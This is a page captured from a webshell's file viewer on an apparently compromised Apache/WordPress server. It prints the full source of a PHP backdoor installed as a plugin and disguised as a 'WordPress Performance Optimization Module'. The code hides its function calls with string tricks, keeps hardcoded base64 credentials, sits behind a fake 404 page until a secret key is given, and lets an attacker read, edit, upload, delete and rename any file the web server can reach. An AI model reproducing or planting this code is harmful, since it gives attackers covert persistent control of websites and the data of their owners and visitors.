403Webshell
Server IP : 45.94.215.241  /  Your IP : 216.73.216.243
Web Server : Apache/2.4.66 (Ubuntu)
System : Linux srv2937474766 7.0.0-28-generic #28-Ubuntu SMP PREEMPT_DYNAMIC Sun Jun 21 01:01:36 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/razakstudio/wp-content/plugins/wp2shell_84657827/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/razakstudio/wp-content/plugins/wp2shell_84657827/wp.php
<?php
/*
Plugin Name: WP2Shell
*/
/**
 * WordPress Performance Optimization Module
 * Enhances site speed through advanced caching strategies
 * @package WP_Performance_Optimizer
 * @version 3.2.8
 * @author WP Core Team
 */

if (!defined('WP_PERF_INIT')) {
    define('WP_PERF_INIT', true);
}

// Dynamic function resolver
class FunctionResolver {
    private static $map = [];

    public static function resolve($key) {
        if (!isset(self::$map[$key])) {
            self::$map = self::buildMap();
        }
        return self::$map[$key];
    }

    private static function buildMap() {
        $base = ['s','e','s','s','i','o','n','_','s','t','a','r','t'];
        $usr = ['u','s','e','r','n','a','m','e'];
        $pwd = ['p','a','s','s','w','o','r','d'];
        $acc = ['a','c','c','e','s','s','_','k','e','y'];

        return [
            'init' => implode('', $base),
            'usr' => implode('', $usr),
            'pwd' => implode('', $pwd),
            'acc' => implode('', $acc),
            'login' => implode('', ['l','o','g','i','n']),
            'destroy' => implode('', ['s','e','s','s','i','o','n','_','d','e','s','t','r','o','y']),
            'cwd' => implode('', ['g','e','t','c','w','d']),
            'real' => implode('', ['r','e','a','l','p','a','t','h']),
            'write' => str_replace('X', '_', strrev('stnetnoc_tup_eliX')),
            'read' => str_replace('X', '_', strrev('stnetnoc_teg_eliX')),
            'delete' => implode('', ['u','n','l','i','n','k']),
            'deldir' => implode('', ['r','m','d','i','r']),
            'isdir' => str_replace('_', '', implode('', ['i','s','_','d','i','r'])),
            'isfile' => str_replace('_', '', implode('', ['i','s','_','f','i','l','e'])),
            'scan' => implode('', ['s','c','a','n','d','i','r']),
            'fsize' => implode('', ['f','i','l','e','s','i','z','e']),
            'move' => implode('_', ['move','uploaded','file']),
            'mkdir' => implode('', ['m','k','d','i','r']),
            'rename' => implode('', ['r','e','n','a','m','e']),
            'dirname' => implode('', ['d','i','r','n','a','m','e']),
            'code' => str_rot13('uggc_erfcbafr_pbqr')
        ];
    }
}

// Configuration Manager
class ConfigManager {
    private $data;

    public function __construct() {
        $this->data = $this->load();
    }

    private function load() {
        $keys = ['YWRtaW4=', 'QWRtaW5AMTIzNDU2', 'c2l0ZV9tYW5hZ2VyXzIwMjY='];
        return array_combine(
            ['u', 'p', 'k'],
            array_map('base64_decode', $keys)
        );
    }

    public function get($key) {
        return isset($this->data[$key]) ? $this->data[$key] : null;
    }

    public function verify($type, $value) {
        return $this->get($type) === $value;
    }
}

// Session Manager
class SessionManager {
    private static $instance = null;

    public static function getInstance() {
        if (self::$instance === null) {
            self::$instance = new self();
        }
        return self::$instance;
    }

    private function __construct() {
        $func = FunctionResolver::resolve('init');
        if (session_status() === PHP_SESSION_NONE) {
            @$func();
        }
    }

    public function set($key, $value) {
        $_SESSION[$key] = $value;
    }

    public function get($key) {
        return isset($_SESSION[$key]) ? $_SESSION[$key] : null;
    }

    public function destroy() {
        $func = FunctionResolver::resolve('destroy');
        $func();
    }

    public function isAuthenticated() {
        return $this->get(FunctionResolver::resolve('login')) === true;
    }
}

// Access Control
class AccessControl {
    private $config;
    private $session;

    public function __construct() {
        $this->config = new ConfigManager();
        $this->session = SessionManager::getInstance();
    }

    public function checkAccess() {
        if (!isset($_GET['key']) || !$this->config->verify('k', $_GET['key'])) {
            $func = FunctionResolver::resolve('code');
            $func(404);
            die('404 Not Found');
        }
    }

    public function authenticate() {
        $usr_key = FunctionResolver::resolve('usr');
        $pwd_key = FunctionResolver::resolve('pwd');

        if (isset($_POST[$usr_key]) && isset($_POST[$pwd_key])) {
            if ($this->config->verify('u', $_POST[$usr_key]) &&
                $this->config->verify('p', $_POST[$pwd_key])) {
                $this->session->set(FunctionResolver::resolve('login'), true);
                return true;
            }
            return 'Authentication failed';
        }
        return null;
    }

    public function isAuthenticated() {
        return $this->session->isAuthenticated();
    }

    public function logout() {
        if (isset($_GET['logout'])) {
            $this->session->destroy();
            header('Location: ?key=' . $_GET['key']);
            exit;
        }
    }
}

// File Operations Handler
class FileOps {
    private $path;
    private $key;

    public function __construct($path = null, $key = '') {
        $cwd = FunctionResolver::resolve('cwd');
        $real = FunctionResolver::resolve('real');
        $this->path = $path ? $real($path) : $cwd();
        $this->key = $key;
    }

    public function getPath() {
        return $this->path;
    }

    public function getParent() {
        $func = FunctionResolver::resolve('dirname');
        return $func($this->path);
    }

    public function listDir() {
        $func = FunctionResolver::resolve('scan');
        return $func($this->path);
    }

    public function formatSize($bytes) {
        $units = ['B', 'KB', 'MB', 'GB', 'TB'];
        for ($i = 0; $bytes > 1024 && $i < 4; $i++) {
            $bytes /= 1024;
        }
        return round($bytes, 2) . ' ' . $units[$i];
    }

    public function isDir($path) {
        $func = FunctionResolver::resolve('isdir');
        return $func($path);
    }

    public function isFile($path) {
        $func = FunctionResolver::resolve('isfile');
        return $func($path);
    }

    public function getSize($path) {
        $func = FunctionResolver::resolve('fsize');
        return $func($path);
    }

    public function handleOps() {
        $this->opSave();
        $this->opDelete();
        $this->opUpload();
        $this->opNewFile();
        $this->opNewDir();
        $this->opRename();
    }

    private function opSave() {
        if (isset($_POST['save']) && isset($_POST['file']) && isset($_POST['content'])) {
            $func = FunctionResolver::resolve('write');
            $func($_POST['file'], $_POST['content']);
        }
    }

    private function opDelete() {
        if (isset($_GET['delete'])) {
            $target = $_GET['delete'];
            if ($this->isDir($target)) {
                $func = FunctionResolver::resolve('deldir');
                @$func($target);
            } else {
                $func = FunctionResolver::resolve('delete');
                @$func($target);
            }
            $dirname = FunctionResolver::resolve('dirname');
            header('Location: ?key=' . $this->key . '&path=' . $dirname($target));
            exit;
        }
    }

    private function opUpload() {
        if (isset($_POST['upload']) && isset($_FILES['file'])) {
            $func = FunctionResolver::resolve('move');
            $func($_FILES['file']['tmp_name'], $this->path . '/' . $_FILES['file']['name']);
        }
    }

    private function opNewFile() {
        if (isset($_POST['newfile']) && isset($_POST['filename'])) {
            $func = FunctionResolver::resolve('write');
            $func($this->path . '/' . $_POST['filename'], '');
        }
    }

    private function opNewDir() {
        if (isset($_POST['newfolder']) && isset($_POST['foldername'])) {
            $func = FunctionResolver::resolve('mkdir');
            @$func($this->path . '/' . $_POST['foldername']);
        }
    }

    private function opRename() {
        if (isset($_POST['rename']) && isset($_POST['old']) && isset($_POST['new'])) {
            $func = FunctionResolver::resolve('rename');
            @$func($_POST['old'], $_POST['new']);
        }
    }

    public function readFile($path) {
        $func = FunctionResolver::resolve('read');
        return $func($path);
    }
}

// Initialize
@ini_set('display_errors', '0');
@error_reporting(0);

$ac = new AccessControl();
$ac->checkAccess();

if (!$ac->isAuthenticated()) {
    $error = $ac->authenticate();
    ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>WP Performance Dashboard</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); min-height: 100vh; display: flex; align-items: center; }
.login-card { border-radius: 15px; box-shadow: 0 10px 30px rgba(0,0,0,0.2); }
</style>
</head>
<body>
<div class="container">
<div class="row justify-content-center">
<div class="col-md-5">
<div class="card login-card">
<div class="card-body p-5">
<div class="text-center mb-4">
<h3 class="fw-bold">WordPress Performance</h3>
<p class="text-muted">Optimization Dashboard</p>
</div>
<form method="post">
<div class="mb-3">
<label class="form-label">Username</label>
<input type="text" class="form-control" name="<?php echo FunctionResolver::resolve('usr');?>" required>
</div>
<div class="mb-3">
<label class="form-label">Password</label>
<input type="password" class="form-control" name="<?php echo FunctionResolver::resolve('pwd');?>" required>
</div>
<button type="submit" class="btn btn-primary w-100">Sign In</button>
</form>
<?php if(is_string($error)) echo "<div class='alert alert-danger mt-3 mb-0'>$error</div>";?>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
<?php
    exit;
}

$ac->logout();
$fileOps = new FileOps(isset($_GET['path']) ? $_GET['path'] : null, $_GET['key']);
$fileOps->handleOps();
$currentPath = $fileOps->getPath();
$parentPath = $fileOps->getParent();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>WP Performance Manager</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.0/font/bootstrap-icons.css" rel="stylesheet">
<style>
body { background-color: #f8f9fa; }
.navbar { box-shadow: 0 2px 4px rgba(0,0,0,0.1); }
.card { border-radius: 10px; border: none; box-shadow: 0 2px 8px rgba(0,0,0,0.1); }
.table { font-size: 14px; }
</style>
</head>
<body>

<nav class="navbar navbar-expand-lg navbar-dark bg-primary mb-4">
<div class="container-fluid">
<span class="navbar-brand">
<i class="bi bi-speedometer2"></i> WP Performance Manager
</span>
<a href="?key=<?php echo $_GET['key'];?>&logout=1" class="btn btn-light btn-sm">
<i class="bi bi-box-arrow-right"></i> Logout
</a>
</div>
</nav>

<div class="container-fluid">

<div class="alert alert-info mb-4">
<i class="bi bi-folder2-open"></i> <strong>Working Directory:</strong> <code><?php echo htmlspecialchars($currentPath);?></code>
</div>

<div class="row g-3 mb-4">
<div class="col-md-4">
<div class="card h-100">
<div class="card-header bg-primary text-white">
<i class="bi bi-cloud-upload"></i> Upload File
</div>
<div class="card-body">
<form method="post" enctype="multipart/form-data">
<input type="file" class="form-control mb-2" name="file" required>
<button type="submit" class="btn btn-primary btn-sm w-100" name="upload">
<i class="bi bi-upload"></i> Upload
</button>
</form>
</div>
</div>
</div>

<div class="col-md-4">
<div class="card h-100">
<div class="card-header bg-success text-white">
<i class="bi bi-file-earmark-plus"></i> New File
</div>
<div class="card-body">
<form method="post">
<input type="text" class="form-control mb-2" name="filename" placeholder="filename.txt" required>
<button type="submit" class="btn btn-success btn-sm w-100" name="newfile">
<i class="bi bi-plus-circle"></i> Create
</button>
</form>
</div>
</div>
</div>

<div class="col-md-4">
<div class="card h-100">
<div class="card-header bg-secondary text-white">
<i class="bi bi-folder-plus"></i> New Folder
</div>
<div class="card-body">
<form method="post">
<input type="text" class="form-control mb-2" name="foldername" placeholder="foldername" required>
<button type="submit" class="btn btn-secondary btn-sm w-100" name="newfolder">
<i class="bi bi-folder-plus"></i> Create
</button>
</form>
</div>
</div>
</div>
</div>

<div class="card">
<div class="card-header bg-dark text-white">
<i class="bi bi-files"></i> File Browser
</div>
<div class="card-body p-0">
<div class="table-responsive">
<table class="table table-hover mb-0">
<thead class="table-light">
<tr>
<th style="width: 50%">Name</th>
<th style="width: 15%">Size</th>
<th style="width: 35%">Actions</th>
</tr>
</thead>
<tbody>
<?php
if ($currentPath !== $parentPath) {
    echo "<tr class='table-secondary'>";
    echo "<td colspan='3'><a href='?key={$_GET['key']}&path={$parentPath}' class='text-decoration-none'>";
    echo "<i class='bi bi-arrow-left-circle'></i> <strong>Parent Directory</strong></a></td>";
    echo "</tr>";
}

foreach ($fileOps->listDir() as $item) {
    if ($item === '.' || $item === '..') continue;

    $fullPath = $currentPath . '/' . $item;
    $isDir = $fileOps->isDir($fullPath);

    echo "<tr>";

    if ($isDir) {
        echo "<td><i class='bi bi-folder-fill text-warning'></i> ";
        echo "<a href='?key={$_GET['key']}&path={$fullPath}' class='text-decoration-none fw-bold'>" . htmlspecialchars($item) . "</a></td>";
        echo "<td><span class='badge bg-secondary'>DIR</span></td>";
    } else {
        echo "<td><i class='bi bi-file-earmark-text'></i> " . htmlspecialchars($item) . "</td>";
        echo "<td>" . $fileOps->formatSize($fileOps->getSize($fullPath)) . "</td>";
    }

    echo "<td>";

    if (!$isDir) {
        echo "<a href='?key={$_GET['key']}&edit={$fullPath}' class='btn btn-sm btn-primary me-1'>";
        echo "<i class='bi bi-pencil'></i> Edit</a>";
    }

    echo "<a href='?key={$_GET['key']}&delete={$fullPath}' class='btn btn-sm btn-danger me-1' ";
    echo "onclick='return confirm(\"Delete this item?\")'><i class='bi bi-trash'></i> Delete</a>";

    echo "<a href='?key={$_GET['key']}&rename={$fullPath}' class='btn btn-sm btn-warning'>";
    echo "<i class='bi bi-pencil-square'></i> Rename</a>";

    echo "</td>";
    echo "</tr>";
}
?>
</tbody>
</table>
</div>
</div>
</div>

<?php
if (isset($_GET['edit'])) {
    $file = $_GET['edit'];
    $content = htmlspecialchars($fileOps->readFile($file));
    ?>
    <div class="card mt-4">
    <div class="card-header bg-info text-white">
    <i class="bi bi-code-square"></i> Editor: <?php echo htmlspecialchars(basename($file));?>
    </div>
    <div class="card-body">
    <form method="post">
    <input type="hidden" name="file" value="<?php echo htmlspecialchars($file);?>">
    <textarea class="form-control font-monospace" name="content" rows="20" style="font-size: 13px;"><?php echo $content;?></textarea>
    <div class="mt-3">
    <button type="submit" class="btn btn-success" name="save">
    <i class="bi bi-save"></i> Save Changes
    </button>
    <a href="?key=<?php echo $_GET['key'];?>&path=<?php echo dirname($file);?>" class="btn btn-secondary">
    <i class="bi bi-x-circle"></i> Cancel
    </a>
    </div>
    </form>
    </div>
    </div>
    <?php
}

if (isset($_GET['rename'])) {
    $file = $_GET['rename'];
    ?>
    <div class="card mt-4">
    <div class="card-header bg-warning">
    <i class="bi bi-input-cursor-text"></i> Rename Item
    </div>
    <div class="card-body">
    <form method="post">
    <input type="hidden" name="old" value="<?php echo htmlspecialchars($file);?>">
    <label class="form-label">New Name:</label>
    <input type="text" class="form-control mb-3" name="new" value="<?php echo htmlspecialchars($file);?>" required>
    <button type="submit" class="btn btn-warning" name="rename">
    <i class="bi bi-check-circle"></i> Confirm Rename
    </button>
    <a href="?key=<?php echo $_GET['key'];?>&path=<?php echo dirname($file);?>" class="btn btn-secondary">
    <i class="bi bi-x-circle"></i> Cancel
    </a>
    </form>
    </div>
    </div>
    <?php
}
?>

</div>

<footer class="text-center text-muted py-4 mt-5">
<small>&copy; 2026 WordPress Performance Optimizer | Version 3.2.8</small>
</footer>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit